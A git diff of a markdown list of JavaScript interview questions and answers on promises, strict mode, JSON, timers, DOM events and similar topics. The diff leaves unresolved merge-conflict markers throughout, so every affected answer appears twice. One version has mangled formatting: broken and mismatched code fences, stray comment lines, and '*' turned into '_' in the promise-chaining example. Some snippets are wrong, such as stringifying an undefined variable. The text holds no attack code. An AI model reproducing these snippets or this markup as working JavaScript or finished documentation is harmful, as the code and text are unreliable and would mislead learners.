+    var source = new EventSource('sse_generator.js');
+    source.onmessage = function (event) {
+    document.getElementById('output').innerHTML += event.data + '<br>';
+    };
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 59. How do you check browser support for server-sent events
 
+<<<<<<< HEAD
     You can perform browser support for server-sent events before using it as below,
 
     ```js
@@ -949,6 +1902,21 @@ image: images/js-questions-n-answers.png
     } else {
         // No server-sent events supported
     }
+=======
+        You can perform browser support for server-sent events before using it as below,
+
+        ```js
+
+    //
+    if (typeof EventSource !== 'undefined') {
+    // Server-sent events supported. Let's have some code here!
+    } else {
+    // No server-sent events supported
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 60. What are the events available for server sent events
@@ -971,6 +1939,7 @@ image: images/js-questions-n-answers.png
 
 62. What is callback in callback
 
+<<<<<<< HEAD
     You can nest one callback inside in another callback to execute the actions sequentially one by one. This is known as callbacks in callbacks.
 
     ```js
@@ -1043,18 +2012,107 @@ image: images/js-questions-n-answers.png
         console.log(value); // "two" // Both promises will resolve, but promise2 is faster
     });
     ```
+=======
+        You can nest one callback inside in another callback to execute the actions sequentially one by one. This is known as callbacks in callbacks.
 
-66. What is a strict mode in javascript
+        ```js
 
-    Strict Mode is a new feature in ECMAScript 5 that allows you to place a program, or a function, in a "strict" operating context. This way it prevents certain actions from being taken and throws more exceptions. The literal expression `"use strict";` instructs the browser to use the javascript code in the Strict mode.
+    //
+    loadScript('/script1.js', function (script) {
+    console.log('first script is loaded');
 
-67. Why do you need strict mode
+            loadScript('/script2.js', function (script) {
+                console.log('second script is loaded');
 
-    Strict mode is useful to write "secure" JavaScript by notifying "bad syntax" into real errors. For example, it eliminates accidentally creating a global variable by throwing an error and also throws an error for assignment to a non-writable property, a getter-only property, a non-existing property, a non-existing variable, or a non-existing object.
+                loadScript('/script3.js', function (script) {
+                    console.log('third script is loaded');
+                    // after all scripts are loaded
+                });
+            });
+        });
+        ```
 
-68. How do you declare strict mode
+63. What is promise chaining
 
-    The strict mode is declared by adding "use strict"; to the beginning of a script or a function.
+        The process of executing a sequence of asynchronous tasks one after another using promises is known as Promise chaining. Let's take an example of promise chaining for calculating the final result,
+
+        ```js
+
+    //
+    new Promise(function (resolve, reject) {
+    setTimeout(() => resolve(1), 1000);
+    })
+    .then(function (result) {
+    console.log(result); // 1
+    return result _ 2;
+    })
+    .then(function (result) {
+    console.log(result); // 2
+    return result _ 3;
+    })
+    .then(function (result) {
+    console.log(result); // 6
+    return result \* 4;
+    });
+
+    ```
+
+        In the above handlers, the result is passed to the chain of .then() handlers with the below work flow,
+
+        1. The initial promise resolves in 1 second,
+        2. After that `.then` handler is called by logging the result(1) and then return a promise with the value of result \* 2.
+        3. After that the value passed to the next `.then` handler by logging the result(2) and return a promise with result \* 3.
+        4. Finally the value passed to the last `.then` handler by logging the result(6) and return a promise with result \* 4.
+
+    ```
+
+64. What is promise.all
+
+        Promise.all is a promise that takes an array of promises as an input (an iterable), and it gets resolved when all the promises get resolved or any one of them gets rejected. For example, the syntax of promise.all method is below,
+
+        ```js
+
+    //
+    Promise.all([Promise1, Promise2, Promise3]) .then(result) => { console.log(result) }) .catch(error => console.log(`Error in promises ${error}`))
+
+    ```
+
+        **Note:** Remember that the order of the promises(output the result) is maintained as per input order.
+
+    ```
+
+65. What is the purpose of the race method in promise
+
+        Promise.race() method will return the promise instance which is firstly resolved or rejected. Let's take an example of race() method where promise2 is resolved first
+
+        ```js
+
+    //
+    var promise1 = new Promise(function (resolve, reject) {
+    setTimeout(resolve, 500, 'one');
+    });
+    var promise2 = new Promise(function (resolve, reject) {
+    setTimeout(resolve, 100, 'two');
+    });
+
+        Promise.race([promise1, promise2]).then(function (value) {
+            console.log(value); // "two" // Both promises will resolve, but promise2 is faster
+        });
+        ```
+>>>>>>> master
+
+66. What is a strict mode in javascript
+
+    Strict Mode is a new feature in ECMAScript 5 that allows you to place a program, or a function, in a "strict" operating context. This way it prevents certain actions from being taken and throws more exceptions. The literal expression `"use strict";` instructs the browser to use the javascript code in the Strict mode.
+
+67. Why do you need strict mode
+
+    Strict mode is useful to write "secure" JavaScript by notifying "bad syntax" into real errors. For example, it eliminates accidentally creating a global variable by throwing an error and also throws an error for assignment to a non-writable property, a getter-only property, a non-existing property, a non-existing variable, or a non-existing object.
+
+68. How do you declare strict mode
+
+<<<<<<< HEAD
+    The strict mode is declared by adding "use strict"; to the beginning of a script or a function.
     If declared at the beginning of a script, it has global scope.
 
     ```js
@@ -1111,10 +2169,89 @@ image: images/js-questions-n-answers.png
     ```js
     typeof 'John Abraham'; // Returns "string"
     typeof (1 + 2); // Returns "number"
+=======
+        The strict mode is declared by adding "use strict"; to the beginning of a script or a function.
+        If declared at the beginning of a script, it has global scope.
+
+        ```js
+
+    //
+    'use strict';
+    x = 3.14; // This will cause an error because x is not declared
+
+    ````
+
+        and if you declare inside a function, it has local scope
+
+        ```js
+
+    //
+    x = 3.14; // This will not cause an error.
+    myFunction();
+
+        function myFunction() {
+            'use strict';
+            y = 3.14; // This will cause an error
+        }
+        ```
+
+    ````
+
+69. What is the purpose of double exclamation
+
+        The double exclamation or negation(!!) ensures the resulting type is a boolean. If it was falsey (e.g. 0, null, undefined, etc.), it will be false, otherwise, true.
+        For example, you can test IE version using this expression as below,
+
+        ```js
+
+    //
+    let isIE8 = false;
+    isIE8 = !!navigator.userAgent.match(/MSIE 8.0/);
+    console.log(isIE8); // returns true or false
+
+    ````
+
+        If you don't use this expression then it returns the original value.
+
+        ```js
+
+    //
+    console.log(navigator.userAgent.match(/MSIE 8.0/)); // returns either an Array or null
+    ````
+
+        **Note:** The expression !! is not an operator, but it is just twice of ! operator.
+
+70. What is the purpose of the delete operator
+
+        The delete keyword is used to delete the property as well as its value.
+
+        ```js
+
+    //
+    var user = { name: 'John', age: 20 };
+    delete user.age;
+
+        console.log(user); // {name: "John"}
+        ```
+
+71. What is the typeof operator
+
+        You can use the JavaScript typeof operator to find the type of a JavaScript variable. It returns the type of a variable or an expression.
+
+        ```js
+
+    //
+    typeof 'John Abraham'; // Returns "string"
+    typeof (1 + 2); // Returns "number"
+
+    ```
+
+>>>>>>> master
     ```
 
 72. What is undefined property
 
+<<<<<<< HEAD
     The undefined property indicates that a variable has not been assigned a value, or not declared at all. The type of undefined value is undefined too.
 
     ```js
@@ -1136,6 +2273,39 @@ image: images/js-questions-n-answers.png
     ```js
     var user = null;
     console.log(typeof user); //object
+=======
+        The undefined property indicates that a variable has not been assigned a value, or not declared at all. The type of undefined value is undefined too.
+
+        ```js
+
+    //
+    var user; // Value is undefined, type is undefined
+    console.log(typeof user); //undefined
+
+    ````
+
+        Any variable can be emptied by setting the value to undefined.
+
+        ```js
+
+    //
+    user = undefined;
+    ````
+
+73. What is null value
+
+        The value null represents the intentional absence of any object value. It is one of JavaScript's primitive values. The type of null value is object.
+        You can empty the variable by setting the value to null.
+
+        ```js
+
+    //
+    var user = null;
+    console.log(typeof user); //object
+
+    ```
+
+>>>>>>> master
     ```
 
 74. What is the difference between null and undefined
@@ -1143,7 +2313,11 @@ image: images/js-questions-n-answers.png
     Below are the main differences between null and undefined,
 
     | Null                                                                                            | Undefined                                                                                               |
+<<<<<<< HEAD
     |-------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------|
+=======
+    | ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+>>>>>>> master
     | It is an assignment value which indicates that variable points to no object.                    | It is not an assignment value where a variable has been declared but has not yet been assigned a value. |
     | Type of null is object                                                                          | Type of undefined is undefined                                                                          |
     | The null value is a primitive value that represents the null, empty, or non-existent reference. | The undefined value is a primitive value used when a variable has not been assigned a value.            |
@@ -1152,10 +2326,22 @@ image: images/js-questions-n-answers.png
 
 75. What is eval
 
+<<<<<<< HEAD
     The eval() function evaluates JavaScript code represented as a string. The string can be a JavaScript expression, variable, statement, or sequence of statements.
 
     ```js
     console.log(eval('1 + 2')); //  3
+=======
+        The eval() function evaluates JavaScript code represented as a string. The string can be a JavaScript expression, variable, statement, or sequence of statements.
+
+        ```js
+
+    //
+    console.log(eval('1 + 2')); // 3
+
+    ```
+
+>>>>>>> master
     ```
 
 76. What is the difference between window and document
@@ -1163,13 +2349,18 @@ image: images/js-questions-n-answers.png
     Below are the main differences between window and document,
 
     | Window                                                                        | Document                                                                                      |
+<<<<<<< HEAD
     |-------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------|
+=======
+    | ----------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
+>>>>>>> master
     | It is the root level element in any web page                                  | It is the direct child of the window object. This is also known as Document Object Model(DOM) |
     | By default window object is available implicitly in the page                  | You can access it via window.document or document.                                            |
     | It has methods like alert(), confirm() and properties like document, location | It provides methods like getElementById, getElementsByTagName, createElement etc              |
 
 77. How do you access history in javascript
 
+<<<<<<< HEAD
     The window.history object contains the browser's history. You can load previous and next URLs in the history using back() and next() methods.
 
     ```js
@@ -1213,6 +2404,63 @@ image: images/js-questions-n-answers.png
     ```js
     isNaN('Hello'); //true
     isNaN('100'); //false
+=======
+        The window.history object contains the browser's history. You can load previous and next URLs in the history using back() and next() methods.
+
+        ```js
+
+    //
+    function goBack() {
+    window.history.back();
+    }
+    function goForward() {
+    window.history.forward();
+    }
+
+    ```
+
+        **Note:** You can also access history without window prefix.
+
+    ```
+
+78. How do you detect caps lock key turned on or not
+
+        The `mouseEvent getModifierState()` is used to return a boolean value that indicates whether the specified modifier key is activated or not. The modifiers such as CapsLock, ScrollLock and NumLock are activated when they are clicked, and deactivated when they are clicked again.
+
+        Let's take an input element to detect the CapsLock on/off behavior with an example,
+
+        ```html
+        <input type="password" onmousedown="enterInput(event)" />
+
+        <p id="feedback">
+
+    </p>
+
+        <script>
+            function enterInput(e) {
+                var flag = e.getModifierState('CapsLock');
+                if (flag) {
+                    document.getElementById('feedback').innerHTML = 'CapsLock activated';
+                } else {
+                    document.getElementById('feedback').innerHTML = 'CapsLock not activated';
+                }
+            }
+        </script>
+        ```
+
+79. What is isNaN
+
+        The isNaN() function is used to determine whether a value is an illegal number (Not-a-Number) or not. i.e, This function returns true if the value equates to NaN. Otherwise it returns false.
+
+        ```js
+
+    //
+    isNaN('Hello'); //true
+    isNaN('100'); //false
+
+    ```
+
+>>>>>>> master
     ```
 
 80. What are the differences between undeclared and undefined variables
@@ -1220,16 +2468,32 @@ image: images/js-questions-n-answers.png
     Below are the major differences between undeclared and undefined variables,
 
     | undeclared                                                                                  | undefined                                                                              |
+<<<<<<< HEAD
     |---------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------|
+=======
+    | ------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
+>>>>>>> master
     | These variables do not exist in a program and are not declared                              | These variables declared in the program but have not assigned any value                |
     | If you try to read the value of an undeclared variable, then a runtime error is encountered | If you try to read the value of an undefined variable, an undefined value is returned. |
 
 81. What are global variables
 
+<<<<<<< HEAD
     Global variables are those that are available throughout the length of the code without any scope. The var keyword is used to declare a local variable but if you omit it then it will become global variable
 
     ```js
     msg = 'Hello'; // var is missing, it becomes global variable
+=======
+        Global variables are those that are available throughout the length of the code without any scope. The var keyword is used to declare a local variable but if you omit it then it will become global variable
+
+        ```js
+
+    //
+    msg = 'Hello'; // var is missing, it becomes global variable
+
+    ```
+
+>>>>>>> master
     ```
 
 82. What are the problems with global variables
@@ -1238,24 +2502,50 @@ image: images/js-questions-n-answers.png
 
 83. What is NaN property
 
+<<<<<<< HEAD
     The NaN property is a global property that represents "Not-a-Number" value. i.e, It indicates that a value is not a legal number. It is very rare to use NaN in a program but it can be used as return value for few cases
 
     ```js
     Math.sqrt(-1);
     parseInt('Hello');
+=======
+        The NaN property is a global property that represents "Not-a-Number" value. i.e, It indicates that a value is not a legal number. It is very rare to use NaN in a program but it can be used as return value for few cases
+
+        ```js
+
+    //
+    Math.sqrt(-1);
+    parseInt('Hello');
+
+    ```
+
+>>>>>>> master
     ```
 
 84. What is the purpose of isFinite function
 
+<<<<<<< HEAD
     The isFinite() function is used to determine whether a number is a finite, legal number. It returns false if the value is +infinity, -infinity, or NaN (Not-a-Number), otherwise it returns true.
 
     ```js
+=======
+        The isFinite() function is used to determine whether a number is a finite, legal number. It returns false if the value is +infinity, -infinity, or NaN (Not-a-Number), otherwise it returns true.
+
+        ```js
+
+    //
+>>>>>>> master
     isFinite(Infinity); // false
     isFinite(NaN); // false
     isFinite(-Infinity); // false
 
+<<<<<<< HEAD
     isFinite(100); // true
     ```
+=======
+        isFinite(100); // true
+        ```
+>>>>>>> master
 
 85. What is an event flow
 
@@ -1275,20 +2565,46 @@ image: images/js-questions-n-answers.png
 
 88. How do you submit a form using JavaScript
 
+<<<<<<< HEAD
     You can submit a form using `document.forms[0].submit()`. All the form input's information is submitted using onsubmit event handler
 
     ```js
     function submit() {
         document.forms[0].submit();
     }
+=======
+        You can submit a form using `document.forms[0].submit()`. All the form input's information is submitted using onsubmit event handler
+
+        ```js
+
+    //
+    function submit() {
+    document.forms[0].submit();
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 89. How do you find operating system details
 
+<<<<<<< HEAD
     The window.navigator object contains information about the visitor's browser OS details. Some of the OS properties are available under platform property,
 
     ```js
     console.log(navigator.platform);
+=======
+        The window.navigator object contains information about the visitor's browser OS details. Some of the OS properties are available under platform property,
+
+        ```js
+
+    //
+    console.log(navigator.platform);
+
+    ```
+
+>>>>>>> master
     ```
 
 90. What is the difference between document load and DOMContentLoaded events
@@ -1327,6 +2643,7 @@ image: images/js-questions-n-answers.png
 
 94. What is the difference between an attribute and a property
 
+<<<<<<< HEAD
     Attributes are defined on the HTML markup whereas properties are defined on the DOM. For example, the below HTML element has 2 attributes type and value,
 
     ```js
@@ -1346,6 +2663,37 @@ image: images/js-questions-n-answers.png
     ```js
     console.log(input.getAttribute('value')); // Good morning
     console.log(input.value); // Good evening
+=======
+        Attributes are defined on the HTML markup whereas properties are defined on the DOM. For example, the below HTML element has 2 attributes type and value,
+
+        ```js
+
+    //
+    <input type="text" value="Name:">
+
+    ````
+
+        You can retrieve the attribute value as below,
+
+        ```js
+
+    //
+    const input = document.querySelector('input');
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good morning
+    ````
+
+        And after you change the value of the text field to "Good evening", it becomes like
+
+        ```js
+
+    //
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good evening
+
+    ```
+
+>>>>>>> master
     ```
 
 95. What is same-origin policy
@@ -1354,6 +2702,7 @@ image: images/js-questions-n-answers.png
 
 96. What is the purpose of void 0
 
+<<<<<<< HEAD
     Void(0) is used to prevent the page from refreshing. This will be helpful to eliminate the unwanted side-effect, because it will return the undefined primitive value. It is commonly used for HTML documents that use href="JavaScript:Void(0);" within an `<a>` element. i.e, when you click a link, the browser loads a new page or refreshes the same page. But this behavior will be prevented using this expression.
     For example, the below link notify the message without reloading the page
 
@@ -1361,6 +2710,20 @@ image: images/js-questions-n-answers.png
     <a href="JavaScript:void(0);" onclick="alert('Well done!')">
         Click Me!
     </a>
+=======
+        Void(0) is used to prevent the page from refreshing. This will be helpful to eliminate the unwanted side-effect, because it will return the undefined primitive value. It is commonly used for HTML documents that use href="JavaScript:Void(0);" within an `<a>` element. i.e, when you click a link, the browser loads a new page or refreshes the same page. But this behavior will be prevented using this expression.
+        For example, the below link notify the message without reloading the page
+
+        ```js
+
+    //
+    <a href="JavaScript:void(0);" onclick="alert('Well done!')">
+    Click Me!
+    </a>
+
+    ```
+
+>>>>>>> master
     ```
 
 97. Is JavaScript a compiled or interpreted language
@@ -1375,6 +2738,7 @@ image: images/js-questions-n-answers.png
 
     No, they are entirely two different programming languages and have nothing to do with each other. But both of them are Object Oriented Programming languages and like many other languages, they follow similar syntax for basic features(if, else, for, switch, break, continue etc).
 
+<<<<<<< HEAD
 100. What are events
 
      Events are "things" that happen to HTML elements. When JavaScript is used in HTML pages, JavaScript can `react` on these events. Some of the examples of HTML events are,
@@ -1786,39 +3150,553 @@ image: images/js-questions-n-answers.png
 130. What are the pros and cons of for loop
 
      The for-loop is a commonly used iteration syntax in javascript. It has both pros and cons
+=======
+100.    What are events
 
-Pros
+             Events are "things" that happen to HTML elements. When JavaScript is used in HTML pages, JavaScript can `react` on these events. Some of the examples of HTML events are,
 
-     1. Works on every environment
-     2. You can use break and continue flow control statements
+             1. Web page has finished loading
+             2. Input field was changed
+             3. Button was clicked
 
-Cons
+             Let's describe the behavior of click event for button element,
 
-     1. Too verbose
-     2. Imperative
-     3. You might face one-by-off errors
+             ```js
 
-131. How do you display the current date in javascript
+        //
+        <!doctype html>
+        <html>
+        <head>
+        <script>
+        function greeting() {
+        alert('Hello! Good morning');
+        }
+        </script>
+        </head>
+        <body>
+        <button type="button" onclick="greeting()">Click me</button>
+        </body>
+        </html>
+        ```
 
-     You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+101.    Who created javascript
 
-     ```js
-     var today = new Date();
-     var dd = String(today.getDate()).padStart(2, '0');
-     var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
-     var yyyy = today.getFullYear();
+        JavaScript was created by Brendan Eich in 1995 during his time at Netscape Communications. Initially it was developed under the name `Mocha`, but later the language was officially called `LiveScript` when it first shipped in beta releases of Netscape.
 
-     today = mm + '/' + dd + '/' + yyyy;
-     document.write(today);
-     ```
+102.    What is the use of preventDefault method
 
-132. How do you compare two date objects
+             The preventDefault() method cancels the event if it is cancelable, meaning that the default action or behaviour that belongs to the event will not occur. For example, prevent form submission when clicking on submit button and prevent opening the page URL when clicking on hyperlink are some common use cases.
 
-     You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+             ```js
 
-     ```js
-     var d1 = new Date();
-     var d2 = new Date(d1);
+        //
+        document.getElementById('link').addEventListener('click', function (event) {
+        event.preventDefault();
+        });
+
+        ```
+
+             **Note:** Remember that not all events are cancelable.
+
+        ```
+
+103.    What is the use of stopPropagation method
+
+             The stopPropagation method is used to stop the event from bubbling up the event chain. For example, the below nested divs with stopPropagation method prevents default event propagation when clicking on nested div(Div1)
+
+             ```js
+
+        //
+        <p>Click DIV1 Element</p>
+        <div onclick="secondFunc()">DIV 2
+        <div onclick="firstFunc(event)">DIV 1</div>
+        </div>
+
+             <script>
+             function firstFunc(event) {
+               alert("DIV 1");
+               event.stopPropagation();
+             }
+
+             function secondFunc() {
+               alert("DIV 2");
+             }
+             </script>
+             ```
+
+104.    What are the steps involved in return false usage
+
+        The return false statement in event handlers performs the below steps,
+
+        1. First it stops the browser's default action or behaviour.
+        2. It prevents the event from propagating the DOM
+        3. Stops callback execution and returns immediately when called.
+
+105.    What is BOM
+
+        The Browser Object Model (BOM) allows JavaScript to "talk to" the browser. It consists of the objects navigator, history, screen, location and document which are children of the window. The Browser Object Model is not standardized and can change based on different browsers.
+
+        ![Screenshot](images/bom.png)
+
+106.    What is the use of setTimeout
+
+             The setTimeout() method is used to call a function or evaluate an expression after a specified number of milliseconds. For example, let's log a message after 2 seconds using setTimeout method,
+
+             ```js
+
+        //
+        setTimeout(function () {
+        console.log('Good morning');
+        }, 2000);
+
+        ```
+
+        ```
+
+107.    What is the use of setInterval
+
+             The setInterval() method is used to call a function or evaluate an expression at specified intervals (in milliseconds). For example, let's log a message after 2 seconds using setInterval method,
+
+             ```js
+
+        //
+        setInterval(function () {
+        console.log('Good morning');
+        }, 2000);
+
+        ```
+
+        ```
+
+108.    Why is JavaScript treated as Single threaded
+
+        JavaScript is a single-threaded language. Because the language specification does not allow the programmer to write code so that the interpreter can run parts of it in parallel in multiple threads or processes. Whereas languages like java, go, C++ can make multi-threaded and multi-process programs.
+
+109.    What is an event delegation
+
+             Event delegation is a technique for listening to events where you delegate a parent element as the listener for all of the events that happen inside it.
+
+             For example, if you wanted to detect field changes in inside a specific form, you can use event delegation technique,
+
+             ```js
+
+        //
+        var form = document.querySelector('#registration-form');
+
+             // Listen for changes to fields inside the form
+             form.addEventListener(
+                 'input',
+                 function (event) {
+                     // Log the field that was changed
+                     console.log(event.target);
+                 },
+                 false
+             );
+             ```
+
+110.    What is ECMAScript
+
+        ECMAScript is the scripting language that forms the basis of JavaScript. ECMAScript standardized by the ECMA International standards organization in the ECMA-262 and ECMA-402 specifications. The first edition of ECMAScript was released in 1997.
+
+111.    What is JSON
+
+        JSON (JavaScript Object Notation) is a lightweight format that is used for data interchanging. It is based on a subset of JavaScript language in the way objects are built in JavaScript.
+
+112.    What are the syntax rules of JSON
+
+        Below are the list of syntax rules of JSON
+
+        1. The data is in name/value pairs
+        2. The data is separated by commas
+        3. Curly braces hold objects
+        4. Square brackets hold arrays
+
+113.    What is the purpose JSON stringify
+
+             When sending data to a web server, the data has to be in a string format. You can achieve this by converting JSON object into a string using stringify() method.
+
+             ```js
+
+        //
+        var userJSON = { name: 'John', age: 31 };
+        var userString = JSON.stringify(user);
+        console.log(userString); //"{"name":"John","age":31}"
+
+        ```
+
+        ```
+
+114.    How do you parse JSON string
+
+             When receiving the data from a web server, the data is always in a string format. But you can convert this string value to a javascript object using parse() method.
+
+             ```js
+
+        //
+        var userString = '{"name":"John","age":31}';
+        var userJSON = JSON.parse(userString);
+        console.log(userJSON); // {name: "John", age: 31}
+
+        ```
+
+        ```
+
+115.    Why do you need JSON
+
+        When exchanging data between a browser and a server, the data can only be text. Since JSON is text only, it can easily be sent to and from a server, and used as a data format by any programming language.
+
+116.    What are PWAs
+
+        Progressive web applications (PWAs) are a type of mobile app delivered through the web, built using common web technologies including HTML, CSS and JavaScript. These PWAs are deployed to servers, accessible through URLs, and indexed by search engines.
+
+117.    What is the purpose of clearTimeout method
+
+             The clearTimeout() function is used in javascript to clear the timeout which has been set by setTimeout()function before that. i.e, The return value of setTimeout() function is stored in a variable and it's passed into the clearTimeout() function to clear the timer.
+
+             For example, the below setTimeout method is used to display the message after 3 seconds. This timeout can be cleared by the clearTimeout() method.
+
+             ```js
+
+        //
+        <script>
+        var msg;
+        function greeting() {
+        alert('Good morning');
+        }
+        function start() {
+        msg =setTimeout(greeting, 3000);
+        
+             }
+        
+             function stop() {
+                 clearTimeout(msg);
+             }
+             </script>
+
+             ```
+
+118.    What is the purpose of clearInterval method
+
+             The clearInterval() function is used in javascript to clear the interval which has been set by setInterval() function. i.e, The return value returned by setInterval() function is stored in a variable and it's passed into the clearInterval() function to clear the interval.
+
+             For example, the below setInterval method is used to display the message for every 3 seconds. This interval can be cleared by the clearInterval() method.
+
+             ```js
+
+        //
+        <script>
+        var msg;
+        function greeting() {
+        alert('Good morning');
+        }
+        function start() {
+        msg = setInterval(greeting, 3000);
+        
+             }
+        
+             function stop() {
+                 clearInterval(msg);
+             }
+             </script>
+
+             ```
+
+119.    How do you redirect new page in javascript
+
+             In vanilla javascript, you can redirect to a new page using the `location` property of window object. The syntax would be as follows,
+
+             ```js
+
+        //
+        function redirect() {
+        window.location.href = 'newPage.html';
+        }
+
+        ```
+
+        ```
+
+120.    How do you check whether a string contains a substring
+
+             There are 3 possible ways to check whether a string contains a substring or not,
+
+             1. **Using includes:** ES6 provided `String.prototype.includes` method to test a string contains a substring
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        subString = 'hell';
+        mainString.includes(subString);
+
+        ````
+
+             1. **Using indexOf:** In an ES5 or older environment, you can use `String.prototype.indexOf` which returns the index of a substring. If the index value is not equal to -1 then it means the substring exists in the main string.
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        subString = 'hell';
+        mainString.indexOf(subString) !== -1;
+        ````
+
+             1. **Using RegEx:** The advanced solution is using Regular expression's test method(`RegExp.test`), which allows for testing for against regular expressions
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        regex = /hell/;
+        regex.test(mainString);
+
+        ```
+
+        ```
+
+121.    How do you validate an email in javascript
+
+             You can validate an email in javascript using regular expressions. It is recommended to do validations on the server side instead of the client side. Because the javascript can be disabled on the client side.
+
+             ```js
+
+        //
+        function validateEmail(email) {
+        var re =
+        /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)\*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
+        return re.test(String(email).toLowerCase());
+        }
+
+        ```
+
+             The above regular expression accepts unicode characters.
+
+        ```
+
+122.    How do you get the current url with javascript
+
+             You can use `window.location.href` expression to get the current url path and you can use the same expression for updating the URL too. You can also use `document.URL` for read-only purposes but this solution has issues in FF.
+
+             ```js
+
+        //
+        console.log('location.href', window.location.href); // Returns full URL
+
+        ```
+
+        ```
+
+123.    What are the various url properties of location object
+
+        The below `Location` object properties can be used to access URL components of the page,
+
+        1. href - The entire URL
+        2. protocol - The protocol of the URL
+        3. host - The hostname and port of the URL
+        4. hostname - The hostname of the URL
+        5. port - The port number in the URL
+        6. pathname - The path name of the URL
+        7. search - The query portion of the URL
+        8. hash - The anchor portion of the URL
+
+124.    How do get query string values in javascript
+
+             You can use URLSearchParams to get query string values in javascript. Let's see an example to get the client code value from URL query string,
+
+             ```js
+
+        //
+        const urlParams = new URLSearchParams(window.location.search);
+        const clientCode = urlParams.get('clientCode');
+
+        ```
+
+        ```
+
+125.    How do you check if a key exists in an object
+
+             You can check whether a key exists in an object or not using three approaches,
+
+             1. **Using in operator:** You can use the in operator whether a key exists in an object or not
+
+             ```js
+
+        //
+        'key' in obj;
+
+        ````
+
+             and If you want to check if a key doesn't exist, remember to use parenthesis,
+
+             ```js
+
+        //
+        !('key' in obj);
+        ````
+
+             1. **Using hasOwnProperty method:** You can use `hasOwnProperty` to particularly test for properties of the object instance (and not inherited properties)
+
+             ```js
+
+        //
+        obj.hasOwnProperty('key'); // true
+
+        ````
+
+             1. **Using undefined comparison:** If you access a non-existing property from an object, the result is undefined. Let's compare the properties against undefined to determine the existence of the property.
+
+             ```js
+
+        //
+        const user = {
+        name: 'John'
+        };
+
+             console.log(user.name !== undefined); // true
+             console.log(user.nickName !== undefined); // false
+             ```
+
+        ````
+
+126.    How do you loop through or enumerate javascript object
+
+             You can use the `for-in` loop to loop through javascript object. You can also make sure that the key you get is an actual property of an object, and doesn't come from the prototype using `hasOwnProperty` method.
+
+             ```js
+
+        //
+        var object = {
+        k1: 'value1',
+        k2: 'value2',
+        k3: 'value3'
+        };
+
+             for (var key in object) {
+                 if (object.hasOwnProperty(key)) {
+                     console.log(key + ' -> ' + object[key]); // k1 -> value1 ...
+                 }
+             }
+             ```
+
+127.    How do you test for an empty object
+
+             There are different solutions based on ECMAScript versions
+
+             1. **Using Object entries(ECMA 7+):** You can use object entries length along with constructor type.
+
+             ```js
+
+        //
+        Object.entries(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+
+        ````
+
+             1. **Using Object keys(ECMA 5+):** You can use object keys length along with constructor type.
+
+             ```js
+
+        //
+        Object.keys(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+        ````
+
+             1. **Using for-in with hasOwnProperty(Pre-ECMA 5):** You can use a for-in loop along with hasOwnProperty.
+
+             ```js
+
+        //
+        function isEmpty(obj) {
+        for (var prop in obj) {
+        if (obj.hasOwnProperty(prop)) {
+        return false;
+        }
+        }
+
+                 return JSON.stringify(obj) === JSON.stringify({});
+             }
+             ```
+
+128.    What is an arguments object
+
+             The arguments object is an Array-like object accessible inside functions that contains the values of the arguments passed to that function. For example, let's see how to use arguments object inside sum function,
+
+             ```js
+
+        //
+        function sum() {
+        var total = 0;
+        for (var i = 0, len = arguments.length; i < len; ++i) {
+        total += arguments[i];
+        }
+        return total;
+        }
+
+             sum(1, 2, 3); // returns 6
+             ```
+
+             **Note:** You can't apply array methods on arguments object. But you can convert into a regular array as below.
+
+             ```js
+
+        //
+        var argsArray = Array.prototype.slice.call(arguments);
+
+        ```
+
+        ```
+
+129.    How do you make first letter of the string in an uppercase
+
+             You can create a function which uses a chain of string methods such as charAt, toUpperCase and slice methods to generate a string with the first letter in uppercase.
+
+             ```js
+
+        //
+        function capitalizeFirstLetter(string) {
+        return string.charAt(0).toUpperCase() + string.slice(1);
+        }
+
+        ```
+
+        ```
+
+130.    What are the pros and cons of for loop
+
+        The for-loop is a commonly used iteration syntax in javascript. It has both pros and cons
+>>>>>>> master
+
+Pros
+
+     1. Works on every environment
+     2. You can use break and continue flow control statements
+
+Cons
+
+     1. Too verbose
+     2. Imperative
+     3. You might face one-by-off errors
+
+<<<<<<< HEAD
+131. How do you display the current date in javascript
+
+     You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+
+     ```js
+     var today = new Date();
+     var dd = String(today.getDate()).padStart(2, '0');
+     var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
+     var yyyy = today.getFullYear();
+
+     today = mm + '/' + dd + '/' + yyyy;
+     document.write(today);
+     ```
+
+132. How do you compare two date objects
+
+     You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+
+     ```js
+     var d1 = new Date();
+     var d2 = new Date(d1);
      console.log(d1.getTime() === d2.getTime()); //True
      console.log(d1 === d2); // False
      ```
@@ -5876,254 +7754,5549 @@ Cons
          resolve();
      });
 
-     console.log(isPromise(i)); // false
-     console.log(isPromise(promise)); // true
-     ```
+     console.log(isPromise(i)); // false
+     console.log(isPromise(promise)); // true
+     ```
+
+413. How to detect if a function is called as constructor
+
+     You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+
+     1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
+     2. For function calls, new.target is undefined.
+
+     ```js
+     function Myfunc() {
